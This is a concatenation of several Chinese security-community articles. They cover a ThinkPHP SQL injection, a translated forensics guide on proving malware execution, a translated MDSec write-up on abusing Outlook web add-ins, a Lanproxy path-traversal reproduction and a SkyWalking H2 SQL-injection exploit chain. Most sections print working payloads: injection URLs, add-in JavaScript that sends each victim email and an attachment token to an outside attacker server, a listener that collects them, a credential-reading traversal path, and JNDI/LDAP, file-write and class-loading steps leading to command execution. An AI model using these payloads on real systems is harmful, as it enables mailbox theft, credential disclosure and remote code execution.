而`delete()`方法的话同样，这里粗略举三个例子，`table`,`alias`,`where`，但使用`table`和`alias`的时候，同时还必须保证`where`不为空（详细原因后面会说）
where: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
alias: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
table: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user%20where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--&id[where]=1
## 0x02 漏洞分析
通过github上的commit
对比其实可以粗略知道，此次更新主要是在`ThinkPHP/Library/Think/Model.class.php`文件中，其中对于`delete`，`find`，`select`三个函数进行了修改。
`delete`函数
`select`函数
`find`函数
对比三个方法修改的地方都有一个共同点：
>
> 把外部传进来的`$options`，修改为`$this->options`，同时不再使用`$this->_parseOptions`对于`$options`进行表达式分析。
思考是因为`$options`可控，再经过`_parseOptions`函数之后产生了sql注入。
### 一 select 和 find 函数
以`find`函数为例进行分析（`select`代码类似），该函数可接受一个`$options`参数，作为查询数据的条件。
当`$options`为数字或者字符串类型的时候，直接指定当前查询表的主键作为查询字段：
if (is_numeric($options) || is_string($options)) {
$where[$this->getPk()] = $options;
$options = array();
$options['where'] = $where;
}
同时提供了对复合主键的查询，看到判断：
if (is_array($options) && (count($options) > 0) && is_array($pk)) {
// 根据复合主键查询
......
}
要进入复合主键查询代码，需要满足`$options`为数组同时`$pk`主键也要为数组，但这个对于表只设置一个主键的时候不成立。
那么就可以使`$options`为数组，同时找到一个表只有一个主键，就可以绕过两次判断，直接进入`_parseOptions`进行解析。
if (is_numeric($options) || is_string($options)) {//$options为数组不进入
$where[$this->getPk()] = $options;
$options = array();
$options['where'] = $where;
}
// 根据复合主键查找记录
$pk = $this->getPk();
if (is_array($options) && (count($options) > 0) && is_array($pk)) { //$pk不为数组不进入
......
}
// 总是查找一条记录
$options['limit'] = 1;
// 分析表达式
$options = $this->_parseOptions($options); //解析表达式
// 判断查询缓存
.....
$resultSet = $this->db->select($options); //底层执行
之后跟进`_parseOptions`方法，（分析见代码注释）
if (is_array($options)) { //当$options为数组的时候与$this->options数组进行整合
$options = array_merge($this->options, $options);
}
if (!isset($options['table'])) {//判断是否设置了table 没设置进这里
// 自动获取表名
$options['table'] = $this->getTableName();
$fields = $this->fields;
} else {
// 指定数据表 则重新获取字段列表 但不支持类型检测
$fields = $this->getDbFields(); //设置了进这里
}
// 数据表别名
if (!empty($options['alias'])) {//判断是否设置了数据表别名
$options['table'] .= ' ' . $options['alias']; //注意这里，直接拼接了
}
// 记录操作的模型名称
$options['model'] = $this->name;
// 字段类型验证
if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) { //让$optison['where']不为数组或没有设置不进这里
// 对数组查询条件进行字段类型检查
......
}
// 查询过后清空sql表达式组装 避免影响下次查询
$this->options = array();
// 表达式过滤
$this->_options_filter($options);
return $options;
`$options`我们可控，那么就可以控制为数组类型，传入`$options['table']`或`$options['alias']`等等，只要提层不进行过滤都是可行的。
同时我们可以不设置`$options['where']`或者设置`$options['where']`的值为字符串，可绕过字段类型的验证。
可以看到在整个对`$options`的解析中没有过滤，直接返回，跟进到底层`ThinkPHP\Libray\Think\Db\Diver.class.php`，找到`select`方法，继续跟进最后来到`parseSql`方法，对`$options`的值进行替换，解析。
因为`$options['table']`或`$options['alias']`都是由`parseTable`函数进行解析，跟进：
if (is_array($tables)) {//为数组进
// 支持别名定义
......
} elseif (is_string($tables)) {//不为数组进
$tables = array_map(array($this, 'parseKey'), explode(',', $tables));
}
return implode(',', $tables);
当我们传入的值不为数组，直接进行解析返回带进查询，没有任何过滤。
同时`$options['where']`也一样，看到`parseWhere`函数
$whereStr = '';
if (is_string($where)) {
// 直接使用字符串条件
$whereStr = $where; //直接返回了，没有任何过滤
} else {
// 使用数组表达式
......
}
return empty($whereStr) ? '' : ' WHERE ' . $whereStr;
### 二 delete函数
`delete`函数有些不同，主要是在解析完`$options`之后，还对`$options['where']`判断了一下是否为空，需要我们传一下值，使之不为空,从而继续执行删除操作。
......
// 分析表达式
$options = $this->_parseOptions($options);
if (empty($options['where'])) { //注意这里，还判断了一下$options['where']是否为空，为空直接返回，不再执行下面的代码。
// 如果条件为空 不进行删除操作 除非设置 1=1
return false;
}
if (is_array($options['where']) && isset($options['where'][$pk])) {
$pkValue = $options['where'][$pk];
}
if (false === $this->_before_delete($options)) {
return false;
}
$result = $this->db->delete($options);
if (false !== $result && is_numeric($result)) {
$data = array();
if (isset($pkValue)) {
$data[$pk] = $pkValue;
}
$this->_after_delete($data, $options);
}
// 返回删除记录个数
return $result;
## 0x03 漏洞修复
不再分析由外部传进来的`$options`,使得不再可控`$options['xxx']`。 | 社区文章 |
# 【技术分享】如何分析恶意软件在系统中执行了？
|
##### 译文声明
本文是翻译文章，文章来源：fireeye.com
原文地址：<https://www.fireeye.com/blog/threat-research/2013/08/execute.html>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[nstlBlueSky](http://bobao.360.cn/member/contribute?uid=1233662000)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
你发现了一个恶意的可执行文件，现在你有一个关键的问题要回答：文件是否执行？这篇文章中我们将讨论一些可用于回答这个问题的一些依据。在文中，我们将重点介绍Windows系统上的静态或“死锁”取证。我们将介绍四个主要的依据：
**Windows预读取** ， **注册表** ， **日志文件** 和 **文件信息** 。
**预读取**
****
Windows 预读取是最开始查找文件执行证据的好地方。 微软设计的Windows
预读取允许常用程序可以很快的打开。默认情况下，它将最近128个执行文件的信息存储在“C:WindowsPrefetch”中的预读取文件中。预读取文件被命名为"可执行文件名"+文件路径的哈希值+.pf。预读取文件中存储进程执行前十秒内的第一次和最后一次运行日期、文件路径、执行的次数以及需要加载的文件。因此，如果您的恶意软件存在文件名显示为“DABEARS.EXE-12F3B52A.pf”这样的预读取文件，那么您将知道该文件已经在执行了。不过请注意：在Windows服务器上，默认情况下是禁用预读取功能的。
**注册表**
****
正如人们所期待的那样，Windows注册表中包含大量有关Windows系统中程序运行的信息。由于注册表很大，下面的列表可能并不全面，但它显示了我们需要检查的主要注册表项以用来确定文件是否在执行：
**1\. ShimCache**
Microsoft创建了ShimCache或“AppCompatCache”来识别应用程序兼容性问题。高速缓存数据跟踪文件路径，大小，最后修改时间和最后“执行”时间（取决于操作系统）。如果使用Windows的“createprocess”执行文件，则系统会将其记录在ShimCache中。虽然文件在ShimCache中的存在不能100％证明文件执行，但它确实显示Windows与文件进行了交互。以下注册表键值包含了ShimCache数据：“HKLMSYSTEMCurrentControlSetControlSession
ManagerAppCompatibilityAppCompatCache(XP)和“HKLMSYSTEMCurrentControlSetControlSession
ManagerAppCompatCacheAppCompatCache”（非XP）。有关ShimCache的更多信息，请参阅Andrew
Davis的博客条目 – 或Mandiant的SANS DFIR会议介绍。
**2\. MUICache**
当通过Windows资源管理器执行文件时，shell程序会在MUICache中创建一个条目。 Windows事件响应博客上有一篇很好的文章介绍了整个过程。
Windows使用MUICache来存储从资源部分中的PE版本信息检索到的应用程序名称。信息存储在以下键中：
“HKCUSoftwareMicrosoftWindowsShellNoRoamMUICache”（XP，2000,2003）和
“HKCUSoftwareClassesLocal
SettingsSoftwareMicrosoftWindowsShellMuiCache”（Vista，7，2008）。
**3\. UserAssist**
UserAssist跟踪在Explorer.exe中打开的可执行文件和链接。
UserAssist键跟踪文件在注册表项中运行的最后执行时间和次数：“HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist”。
UserAssist键下内容对应于可执行文件名称和用ROT13加密的文件路径值;因此，如果您在解码之前进行关键字搜索，您可能会错过该键值内的依据。有许多解密注册表键值的工具，包括RegRipper
userassist.pl插件。
**日志文件**
****
您可以分析几个日志来确定文件是否执行。从Windows系统事件日志开始，因为此日志记录服务启动。图1中的事件显示一个管理员（SID =“ –
500”）执行了PSEXECSVC远程执行服务：
图1：事件ID 7035 -服务启动
服务启动时，通常会执行ImagePath中指定的文件或加载所需的服务DLL。 例如，“Netman”服务在执行时使用合法的文件“netman.dll”。
但是，如果注册表中的ServiceDll包含了一个名为“tabcteng.dll”的后门路径，则“Netman”服务将执行“tabcteng.dll”。
所以，在启动服务程序时有必要验证ImagePath的文件以及ServiceDlls。
如果在Windows事件日志审核设置中启用了审计流程跟踪，则Windows安全事件日志中包含了大量有关执行进程的信息，以此可以用来证明文件是否在执行。
图2和图3显示了恶意文件和关联进程ID，以及父进程ID和用户名，可以帮助进一步调查。
图2：XP事件ID 592 – 进程创建
Windows Vista 记录了类似的进程创建事件，但EventID为4688。
图3：Vista EventID 4688 – 流程创建
在比较新版本的Windows系统中，审核功能会更精细，并且在Windows Server 2008 R2和Windows
7中与组策略集成在一起。高级审核策略设置可以在图3中找到。
在这篇文章中有太多的供应商可以覆盖，但是基于主机的IPS或AV产品日志可能会在文件运行或尝试对其他文件进行操作时显示。 图4包含来自McAfee
Access Protection日志的示例事件。
图4：McAfee Access Protection日志事件
Windows计划任务日志可以用来确认攻击者是否在使用计划任务来执行恶意软件。 计划任务记录在名为“SchedLgU.txt”的日志文件中，如下所示：
图5：计划任务日志中的事件
在Windows Vista +中，计划任务执行也记录在事件ID 为200和201下的“Microsoft-Windows-TaskScheduler /
Operational”事件日志中。
图6：事件ID 200和201 – 计划任务执行
最后，如果应用程序崩溃，Watson日志可能会记录运行的恶意任务。
图7：在Dr. Watson Log中捕获的运行任务
**文件信息**
****
确定文件是否被执行的另一种方法是查找与该文件相关的任何其他输出文件。分析恶意文件时，观察它是否配置为创建数据？例如，如果您发现的恶意文件是键盘记录器，并且系统中存在相关的密钥记录文件，则攻击者可能会执行该文件。如果恶意软件已配置为连接到特定域名，则浏览器历史记录可能已记录关联的域。表1包含从相同后门在浏览器历史记录中捕获的两种通信机制的示例。
表1：浏览器历史记录中的恶意通信
要确定系统是否执行了恶意文件，请分析文件的功能，并查找磁盘上是否有生成的其他文件。
恶意软件功能还可以帮助您评估攻击者的动机，最终目标，并可能揭示其他恶意文件。
虽然这篇文章涵盖了我们用来检测文件执行的主要依据，但还有更多的注册表项和其他Windows文件可以提供恶意软件执行的依据，特别是在Windows
Vista及更高版本中。 类似地，在系统内存中发现的信息对于证明文件执行可能更有价值，并且可以提供特定的攻击者执行的命令和访问的资源。
所以如果您在正在运行的系统上发现恶意可执行文件，请确保在执行其他操作之前保存内存快照。 您可以使用Mandiant Redline™读取和分析内存。 | 社区文章 |
# 如何滥用Office Web加载项
|
##### 译文声明
本文是翻译文章，文章原作者 mdsec，文章来源：mdsec.co.uk
原文地址：<https://www.mdsec.co.uk/2019/01/abusing-office-web-add-ins-for-fun-and-limited-profit/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、背景
开发者可以使用Office加载项（add-ins）平台来扩展Office应用功能、与文档内容进行交互。加载项使用HTML、CSS以及JavaScript语言开发，使用JavaScript与Office平台交互。
所有的Office产品中都包含对应的API，但本文主要关注的是Outlook这款产品。
开发者可以使用一个manifest（清单）文件来部署加载项，该文件中包含加载项对应的名称以及URL，其他所有文件（包括HTML以及JavaScript）都托管在我们自己的基础设施上。
加载项必须使用HTTPS协议进行通信，因此我们首先需要一个有效的HTTPS证书。在本文中，我在Digital Ocean
droplet中运行一个Apache实例，使用了Let’s Encrypt提供的证书。
## 二、已有研究成果
本文的某些灵感来自于Mike Felch和Beau Bullock去年在Wild West Hackin’
Fest上做的一次[演讲](https://www.youtube.com/watch?v=XFk-b0aT6cs)，演讲视频大约从第20分钟开始涉及这方面内容，主要关注的是可以在XSS攻击中使用的Web加载项。
在本文中，我们将展示如何构建加载项，以便持久访问受害者的邮箱账户。
## 三、构建加载项
如果安装了相应功能，那么Visual Studio可以支持三种加载项的开发。我们需要安装“Office/SharePoint
development”功能，才能使用VS开发加载项类型的项目。需要注意的是，即使不使用VS，我们也能创建这些加载项。Yeoman提供了一个加载项生成器，我们也可以使用文本编辑器，手动开发代码。
一旦我们创建适用于Outlook的加载项项目，VS就会帮我们构建一个基本的加载项，该加载项可以显示用户所收的电子邮件的相关信息。生成的加载项如下图所示，已部署到Office365中：
看起来可能效果一般，但我们的确可以访问所有的消息内容。
## 四、部署加载项
现在我们已经使用VS生成了一个基本的加载项，在修改加载项代码之前，我们需要仔细研究一下加载项的部署方式，了解这种方式对攻击过程的影响。
每个加载项都包含一个manifest文件，该文件是一个XML文档，其中包含加载项名称、某些配置选项以及资源地址。文件部分内容如下图所示，其中显示了我们的加载项所加载的部分资源：
<Resources>
<bt:Images>
<bt:Image id="icon16" DefaultValue="https://www.two06.info/Images/icon16.png" />
<bt:Image id="icon32" DefaultValue="https://www.two06.info/Images/icon32.png" />
<bt:Image id="icon80" DefaultValue="https://www.two06.info/Images/icon80.png" />
</bt:Images>
<bt:Urls>
<bt:Url id="functionFile" DefaultValue="https://www.two06.info/Functions/FunctionFile.html" />
<bt:Url id="messageReadTaskPaneUrl" DefaultValue="https://www.two06.info/MessageRead.html" />
</bt:Urls>
<bt:ShortStrings>
<bt:String id="groupLabel" DefaultValue="My Add-in Group" />
<bt:String id="customTabLabel" DefaultValue="My Add-in Tab" />
<bt:String id="paneReadButtonLabel" DefaultValue="Display all properties" />
<bt:String id="paneReadSuperTipTitle" DefaultValue="Windows Defender 365 Email Security" />
</bt:ShortStrings>
<bt:LongStrings>
<bt:String id="paneReadSuperTipDescription" DefaultValue="Opens a pane displaying all available properties. This is an example of a button that opens a task pane." />
</bt:LongStrings>
</Resources>
我们只需要这个文件就可以部署加载项，可以通过Office 365的web页面来部署：
在“Settings”页面中，我们可以看到一个“Manage add-ins”菜单项。在“My add-ins”页面中，我们可以找到自定义加载项选项，其中下拉列表中就包含上传manifest文件的选项。
我们只需上传manifest文件，O365就可以帮我们安装相应的加载项。
作为攻击者，我们需要想办法向受害者部署我们的加载项。一旦我们通过O365
web页面部署加载项，加载项就会同步到该账户的每个会话。这意味着我们可以从我们自己设备访问受害者账户，部署恶意加载项，并让加载项自动与受害者的浏览器同步。需要注意的是，虽然受害者不必注销，但必须重新加载Outlook
webapp，才能使改动生效。
我们还需要将加载项文件拷贝到我们的服务器上，包括HTML、CSS、JavaScript以及其他图像文件。
## 五、自动执行
为了武器化我们的加载项，我们需要让加载项能够自动执行：受害者无需点击按钮就能触发攻击行为。微软并不支持web加载项的自动执行，然而我们可以通过一些“黑科技”来完成这个任务。
如果我们观察前面VS生成的加载项，我们可以看到一个“pin”（固定）图标。该图标的功能非常明显，可以让Outlook保持该加载项处于打开状态，无需通过按钮点击来加载。我们需要启用该功能才能显示该图标，单纯生成加载项并不会出现该图标。
为了启用pin功能，我们需要修改manifest文件，添加`SupportsPinning`元素。只有schema为1.1版的manifest才支持这个元素，因此我们还需要覆盖这个字段。大家可以参考[此处](https://github.com/OfficeDev/outlook-dev-docs/blob/master/docs/add-ins/pinnable-taskpane.md)资料了解完整的示例。
覆盖版本号后，我们可以在manifest文件的`Action`标签中添加`SupportsPinning`标签，如下所示：
<Action xsi:type="ShowTaskpane">
<SourceLocation resid="messageReadTaskPaneUrl" />
<SupportsPinning>true</SupportsPinning>
</Action>
pin图标的状态（代表加载项是否保持加载状态）也会在使用O365账户的所有浏览器上同步，这意味着我们可以在自己的设备上访问目标i账户，部署并固定加载项。当受害者下一次访问自己的账户时，就会自动加载并执行我们的加载项。
## 六、读取邮件
既然我们可以部署自己的加载项，然后自动执行加载项，现在我们可以开始构造功能更丰富的加载项。在本文中，我们的目标是读取受害者的邮件。我们可以扩展攻击范围，比如用来发送消息、查看计划安排等，但就本文的演示场景而言，读取消息内容已经能够满足我们需求。
VS已经帮我们生成了我们所需的大部分代码。首先，我们需要访问`item`对象，我们可以通过`Office.context.mailbox.item`对象来访问`item`对象，该对象中包含与消息有关的所有值，如发件人、主题以及附件详情等。我们必须使用异步调用来访问邮件正文，例如，我们可以使用如下代码来访问某个`item`的正文内容：
// Load properties from the Item base object, then load the
// message-specific properties.
function loadProps(args) {
var item = args;
var bodyText = "";
var body = item.body;
body.getAsync(Office.CoercionType.Text, function (asyncResult) {
if (asyncResult.status !== Office.AsyncResultStatus.Succeeded) {
}
else {
bodyText = asyncResult.value.trim();
sendData(item, bodyText, serviceRequest);
}
});
}
上述代码中的`sendData()`会将数据传回我们的服务器。在本文的演示场景中，我会使用同一台服务器来托管我们的加载项文件，但这并不是攻击的必要条件。该函数的代码非常简单，如下所示：
//Send data to our server
function sendData(item, body, attachmentToken) {
var item_data = JSON.stringify(item);
var body_data = JSON.stringify(body);
var token_data = JSON.stringify(attachmentToken)
$.ajax({
url: 'https://www.two06.info:8000/listen',
type: 'post',
data: { item: item_data, item_body: body_data, token: token_data },
success: function (response) {
//todo
}
});
}
在上述代码中大家可能会注意到`attachmentToken`这个值。我们无法通过JavaScript
API访问附件，虽然我们可以获取附件名及其他细节，但无法访问具体文件。为了访问附件，我们需要使用EWS
API。虽然我们可以直接使用受害者的凭据来向该API发起身份认证请求，但也可以使用JavaScript API获取Bearer
Token，利用该令牌访问附件。通过这种方式，即使受害者修改了密码，我们也能成功访问附件。我们可以使用另一个异步调用来获取令牌，如下所示：
var serviceRequest = {
attachmentToken: ''
};
function attachmentTokenCallback(asyncResult, userContext) {
if (asyncResult.status === "succeeded") {
//cache the result
serviceRequest.attachmentToken = asyncResult.value;
}
}
//Grab a token to access attachments
function getAttachmentToken() {
if (serviceRequest.attachmentToken == "") {
Office.context.mailbox.getCallbackTokenAsync(attachmentTokenCallback);
}
}
接下来我们还需注册一个回调程序，以便在选定的邮件发生变化时接收通知。如果我们不执行该操作，那么当加载项加载后，只会给我们发送第一封邮件的详细信息：
// The Office initialize function must be run each time a new page is loaded.
Office.initialize = function (reason) {
$(document).ready(function () {
//register the ItemChanged event hander then call the loadProps method to grab some data
Office.context.mailbox.addHandlerAsync(Office.EventType.ItemChanged, itemChanged);
//fire off the call to get the callback token we need to download attachments - not needed yet but its just easier this way
getAttachmentToken();
loadProps(Office.context.mailbox.item);
});
};
//event handler for item change event (i.e. new message selected)
function itemChanged(eventArgs) {
loadProps(Office.context.mailbox.item);
}
## 七、接收数据
现在我们已经创建能够发送已选定邮件详细信息的JavaScript代码。我们还需要使用其他代码来捕捉并显示这些信息。由于加载项必须使用HTTPS协议进行通信，因此我们的监听器必须能够接受HTTPS流量。我们可以修改基于HTTP服务器的Python3代码，完成该任务：
class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.end_headers()
self.wfile.write(b'Hello')
def do_POST(self):
content_length = int(self.headers['Content-Length'])
body = self.rfile.read(content_length)
self.send_response(200)
self.end_headers()
response = BytesIO()
response.write(b'Hello')
self.wfile.write(response.getvalue())
decoded = unquote(body.decode("utf-8"))
Helpers.print_Message(decoded)
httpd = HTTPServer(('', 8000), SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, keyfile=' /certs/privkey.pem', certfile=' /certs/cert.pem', server_side=True)
httpd.serve_forever()
这里我们覆盖了GET及POST处理函数，创建了所需的证书文件，以便正确接收HTTPS请求。
接下来，我们需要处理加载项发送过来的JSON数据。我们可以在客户端处理这些数据，只发送我们感兴趣的部分数据。然而让客户端发送所有可用的数据，并让我们的处理程序处理这些数据也是不错的选择。通过这种方法，我们可以根据具体需求提取其他数据：
class Helpers:
def HTMLDecode(s):
return s.replace("+", " ")
def buildEmail(address):
return address['name'] + " <" + address['address'] + ">"
def buildEmailAddresses(addresses):
if addresses:
returnString = ""
for address in addresses:
returnString = returnString + Helpers. buildEmail(address) + 'n'
return returnString
return "None"
def getAttachmentName(attachment):
return attachment['name'] + " (ID:" + attachment['id'] +")"
def getAttachments(attachments):
if attachments:
returnString = ""
for attachment in attachments:
returnString = returnString + Helpers.getAttachmentName(attachment) + 'n'
return returnString
return "0"
def print_Message(decoded_data):
#split the string into item data and body data
split = decoded_data.partition("&item_body=")
item_json = split[0]
#now we need the body data and the token data
split2 = split[2].partition("&token=")
body_data = split2[0]
token_data = split2[2]
#item_json now needs to be parsed to grab what we need
#strip the first 5 chars ("item=") from the json data
parsed_json = json.loads(item_json[5:])
item_json = parsed_json['_data$p$0']['_data$p$0']
#we also need to parse the token object
token_json = json.loads(token_data)
#grab the values we want to display
_from = Helpers.buildEmail(item_json['from'])
_sender = Helpers.buildEmail(item_json['sender'])
_to = Helpers.buildEmailAddresses(item_json['to'])
_subject = item_json['subject']
_attachment_count = Helpers.getAttachments(item_json.get("attachments", None))
_ewsUrl = item_json['ewsUrl']
_token = token_json['attachmentToken']
print(Fore.RED + "[*] New Message Received" + Style.RESET_ALL)
print("From: " + Helpers.HTMLDecode(_from))
print("Sender: " + Helpers.HTMLDecode(_sender))
print("To: " + Helpers.HTMLDecode(_to))
print("Subject: " + Helpers.HTMLDecode(_subject))
print("Body: " + Helpers.HTMLDecode(body_data))
if _attachment_count != "0":
print("Attachment Details: n")
print(Helpers.HTMLDecode(_attachment_count))
print("Use these values to download attachments...n")
print("ewsURL: " + _ewsUrl)
print("Access Token: " + _token)
print(Fore.RED + "------------------------" + Style.RESET_ALL)
具体的函数代码这里不再赘述，最终我们可以利用上述代码解析JSON数据，将其拆分成item、正文以及API Token对象，提取并打印出我们感兴趣的信息。
现在如果我们部署构造好的加载项，当受害者访问邮件时我们应该能捕捉到邮件的具体内容：
上图中我隐去了API令牌信息，然而攻击者可以使用API令牌来访问EWS
API，下载附件。虽然这超出了本文的研究范围，但需要注意的是，这个令牌只限于特定的附件ID，似乎不能用来进一步访问API。
## 八、界面问题
还有一件事情现在我们还没有真正去考虑：HTML页面。Mike和Beau在Wild West Hackin’
Fest的演讲中提到，攻击者有可能隐藏加载项的UI。不幸的是，目前我尚未成功复现这种场景。虽然有人曾要求官方添加该功能，但该功能似乎尚未开发出来。在研究过程中，我们一直能看到固定大小的一个附加项面板。
为了解决这个问题，攻击者可以采取一些社会工程学方法。我们可以按照自己喜欢的方式设置加载项的样式，在这个演示场景中，我将其伪装成一个Windows
Defender的插件：
最终，我们可以自己设置加载项的样式以适配目标环境，但直到目前为止，我们依然无法删除UI。
## 九、总结
在本文中，我们介绍了如何利用Office JavaScript
API来获得受害者邮箱的持久访问权限。在这个攻击场景中，我们通过凭据破解或者其他攻击手段获取了目标邮箱访问权限，然后部署了一个加载项，这样即使受害者更改了密码，我们也能持续访问目标收件箱内容。不幸的是，我们必须依赖一些社会工程学技巧，因为（目前）我们无法隐藏加载项的UI。
我们还可以通过其他方式来利用web加载项。我们可以为其他Office产品构建加载项，获取电子表格、演示文稿和SharePoint内容的访问权限。如果目标使用内部开发的加载项，我们还能修改JavaScript文件，使其包含恶意内容。微软并没有在manifest文件中包含任何文件签名机制，因此无法阻止我们修改JavaScript文件。
微软还允许开发人员将这些加载项推送到应用商店中，用户可以通过应用商店来安装加载项，这种方式隐藏的风险不言而喻。
最后还需要注意一点，当通过O365门户进行部署时，这些加载项也会与桌面版的Outlook应用同步。不幸的是，前文提到的pin功能似乎无法在web门户和桌面应用之间同步。如果未来这一点有所变化，那么这种攻击方法就更有用武之地。 | 社区文章 |
**作者：李安@星阑科技PortalLab
原文链接：<https://mp.weixin.qq.com/s/XBsBNAzyciWwCRP3bMZnOw>**
## **漏洞描述**
Lanproxy 0.1 存在路径遍历漏洞，该漏洞允许目录遍历读取/../conf/config.properties来获取到内部网连接的凭据。
**Lanproxy**
lanproxy是一个将局域网个人电脑、服务器代理到公网的内网穿透工具，支持tcp流量转发，可支持任何tcp上层协议（访问内网网站、本地支付接口调试、ssh访问、远程桌面...）
## **漏洞版本**
Lanproxy 0.1
**修复前：**
**修复补丁：**<https://github.com/ffay/lanproxy/commit/7787a143f9abf31ada4588e11741c92f0e145240>
**修复方式：** 如果在路径中检测到`../` ，直接返回 Forbidden。
**漏洞成因：** 对用户输入的路径、没有进行过滤、攻击者可以使用该漏洞去访问任意文件。
## **环境搭建**
## **漏洞复现**
**拉取源码**
git clone <https://github.com/ffay/lanproxy.git>
**回退到漏洞修复之前**
cd lanproxy/
git reset --hard `f768adb1fca4dbcb83c16778d9f3407bb8b2f524`
**maven编译项目**
mvn package
项目编译完成后、会在项目根目录下创建distribution目录、包含服务端、客户端。
**config.properties**
**漏洞测试**
1、运行启动命令：
sh distribution/proxy-server-0.1/bin/startup.sh
2、访问<http://127.0.0.1:8090>端口、出现如下界面、环境启动成功：
3、测试Payload：/%2F..%2F/conf/config.properties
在使用Payload后、获取到config.properties 配置文件。该文件中包含：管理页面用户名、密码、以及ssl相关配置。
**漏洞分析**
**开启debug模式**
Lanproxy 的启动脚本 distribution/proxy-server-0.1/bin/startup.sh 、 debug
参数可以开启调试模式。调试端口为8000。
sh distribution/proxy-server-0.1/bin/startup.sh debug
**IDEA 配置**
**动态调试**
将断点打到
src/main/java/org/fengfei/lanproxy/server/config/web/HttpRequestHandler.java#outputPages，先通过URI实例，获取到uriPath(请求路径)：/%2F..%2Fconf%2Fconfig.properties
接下来，会判断该路径是否为/，是/返回 index.html，否则返回获取到的uriPath。
PAGE_FOLDER 是获取当前程序所在的目录。
紧接着、会拼接PAGE_FOLDER与uriPath。
然后、生成一个新的File实例，rfile，然后判读是否是目录、还会检查该文件是否存在。
最后，使用 RandomAccessFile() 去读取文件。到这一步，已经可以读取到 config.properties 文件。
## **修复建议**
安装最新Lanproxy版本，可以通过源码或者最新的安装包进行更新。
**源码：**<https://github.com/ffay/lanproxy>
**安装包：**<https://file.nioee.com/d/2e81550ebdbd416c933f/>
* * * | 社区文章 |
目前互联网上关于漏洞利用以及原理资料很多，但防御这一块资料比较少。
我收集了一些常用漏洞的防御策略，但不完善，希望大家能够一起将其补充起来。
Book地址：<https://book.nmask.cn/> | 社区文章 |
使用了预编译语句，但是在SQL语句的除`?`之外的部分存在拼接用户输入的情况，导致依然存在SQL注入。
本次的漏洞可能是因为没有界面入口，需要查看配置文件找出来，可能因为这样被遗漏。
查看映射`.graphqls`文件和`com.coxautodev.graphql.tools.GraphQLQueryResolver`实现类的地方：
org\apache\skywalking\oap\query\graphql\GraphQLQueryProvider#prepare
但是通过搜索之后
，发现只有
`h2LogQueryDao`类的表名可控。
于是尝试构造QueryLog的查询，通过查看配置文件：`log.graphqls`，知道是`metricName`处的注入：
通过调试，发现这里使用了预编译语句，但是在SQL语句的除`?`之外的部分存在拼接用户输入的情况。由于使用了预编译语句，为了构造有效的SQL语句，需要用到两个`?`。
构造出读文件的payload：
JNDI注入：
写文件：
写文件的时候注意因为后续要加载写入的`.class`文件，所以需要放到classpath里。写入`oap-libs`目录不成功，写入`config`目录成功了。
加载写入的恶意类：
反弹shell：
### 附录
拼接出来的完整SQL语句可以在log里查看：
select count(1) total from (select 1 from (select 1 where ?=1 or ?=1 or LINK_SCHEMA('file', 'javax.naming.InitialContext', 'ldap://192.168.85.1:1389/Exploit', 'sa', 'sa', 'PUBLIC'))) -- where 1=1 and time_bucket >= ? and time_bucket <= ? ) [50000-196]
目前仅针对h2数据库的利用。如果数据源为Elasticsearch，则无法使用这个payload：
构造任意类的字节码的hex形式：
77@ubuntu130130:~/tmp$ vi Exploit1.java
77@ubuntu130130:~/tmp$ javac Exploit1.java
77@ubuntu130130:~/tmp$ ll
total 28K
-rw-rw-r-- 1 77 77 685 Feb 8 19:21 Exploit1.class
drwxrwxr-x 3 77 77 4.0K Feb 8 19:21 ./
drwxr-xr-x 27 77 77 4.0K Feb 8 19:21 ../
-rw-rw-r-- 1 77 77 858 Feb 8 19:21 Exploit1.java
-rw-rw-r-- 1 77 77 690 Feb 8 04:04 Exploit.class
-rw-rw-r-- 1 77 77 384 Feb 8 04:04 Exploit.java
drwxrwxr-x 2 77 77 4.0K Jul 24 2020 share1/
77@ubuntu130130:~/tmp$ xxd -p Exploit1.class | tr -d '\n' > Exploit1_class.hex
77@ubuntu130130:~/tmp$ cat Exploit1_class.hex
cafebabe00000034002f0a000b001509001600170800180a0019001a0a001b001c08001d0a001b001e07001f0a000800200700210700220100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100083c636c696e69743e01000d537461636b4d61705461626c6507001f01000a536f7572636546696c6501000d4578706c6f6974312e6a6176610c000c000d0700230c0024002501000b72756e2043616c632e2e2e0700260c002700280700290c002a002b010018746f756368202f746d702f70776e65645f62795f637171320c002c002d0100136a6176612f6c616e672f5468726f7761626c650c002e000d0100084578706c6f6974310100106a6176612f6c616e672f4f626a6563740100106a6176612f6c616e672f53797374656d0100036f75740100154c6a6176612f696f2f5072696e7453747265616d3b0100136a6176612f696f2f5072696e7453747265616d0100077072696e746c6e010015284c6a6176612f6c616e672f537472696e673b29560100116a6176612f6c616e672f52756e74696d6501000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b01000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b01000f7072696e74537461636b54726163650021000a000b0000000000020001000c000d0001000e0000001d00010001000000052ab70001b100000001000f0000000600010000000100080010000d0001000e0000005b000200010000001ab200021203b60004b800051206b6000757a700084b2ab60009b1000100000011001400080002000f0000001a0006000000040008000500110008001400060015000700190009001100000007000254070012040001001300000002001477@ubuntu130130:~/tmp$
77@ubuntu130130:~/tmp$ cat Exploit1.java
public class Exploit1 {
static {
try {
System.out.println("run Calc...");
Runtime.getRuntime().exec("touch /tmp/pwned_by_cqq2");
} catch (Throwable e) {
e.printStackTrace();
}
}
}
写入文件之后：
77@ubuntu130130:~/repos/apache-skywalking-apm-8.3.0/apache-skywalking-apm-bin/config$ ll|grep Exploit1.class
-rw-rw-r-- 1 77 77 685 Feb 8 19:23 Exploit1.class
